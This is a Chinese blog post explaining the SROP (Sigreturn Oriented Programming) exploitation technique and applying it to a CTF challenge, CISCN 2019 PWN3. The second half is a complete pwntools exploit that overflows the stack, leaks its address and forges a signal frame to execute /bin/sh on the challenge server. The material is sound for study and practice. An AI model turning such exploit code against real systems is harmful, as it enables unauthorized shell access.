SROP

SROP

SROP(Sigreturn Oriented Programming)利用了linux下15号系统调用的->rt_sigreturn

Signal

SignalUnix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息常见于在一个进程中,内核向其发送软中断信号,该进程将暂时被挂起,系统进入内核态因为是暂时被挂起,所以系统会保留该进程的上下文 。即将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn。(这些信息也就是该进程的上下文,我们称为Signal Frame

接下来用一张流程图来进行更好的理解:

image-20230811154419097

  1. 用户态进程接收到别的进程发送的信号signal,该进程被挂起,进入内核态。
  2. 内核保存用户态进程的上下文,然后跳转到用户态的信号对应的信号处理程序,回到用户态。在这一阶段里,内核会构造一个位于用户态进程栈上的Signal Frame用于存放该进程的上下文,然后再压指向rt_sigreturn的返回地址。
  3. 用户态的信号处理程序执行完毕,pop返回地址rt_sigreturn,进程进入内核态,执行sigreturn系统调用。内核根据之前栈上的Signal Frame完成用户态进程上下文的恢复
  4. 返回用户态,并且按照恢复的上下文继续执行。

那么关键就在于第三步中的进行sigreturn的系统调用,然后依据栈上保存的Signal Frame来进行进程的上下文恢复,而我们从第二步可以知道Signal Frame是保存用户态的栈上的,那么这就以为着我们是可以对其进行伪造的,伪造好Signal Frame之后只需要进行sigreturn系统调用,那么进程的上下文就会变成我们所伪造的Signal Frame的内容。从而获取shell权限。

例题:[CISCN 2019华南]PWN3

使用IDA进行反编译

image-20230811165551522

当发现存在mov rax,0xF的时候就应该想到SROP(15是sigreturn的系统调用号)

image-20230811172428455

首先进行第一次栈溢出,为下一次溢出做准备的同时,泄露出栈的地址;

image-20230811174556213

然后伪造sigframe;

image-20230811174653122

最后写入/bin/sh,并且将返回地址覆盖为mov rax,0xF的gadget,然后进行系统调用,同时把伪造的sigframe也加入栈中。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('node2.anna.nssctf.cn',28564)
elf = ELF('./pwn')

syscall = 0x400517
rax_15 = 0x4004DA

#leak stack
s(b'a'*0x10 + p64(0x4004F1))
stack = get_addr()

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack - 0x110
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

s(b'/bin/sh\x00' + b'a'*0x8 + p64(rax_15) + p64(syscall) + flat(sigframe))

print(hex(stack))
inter()

SROP
http://ak0er.github.io/2024/05/04/SROP/
作者
Ak0er
发布于
2024年5月4日
许可协议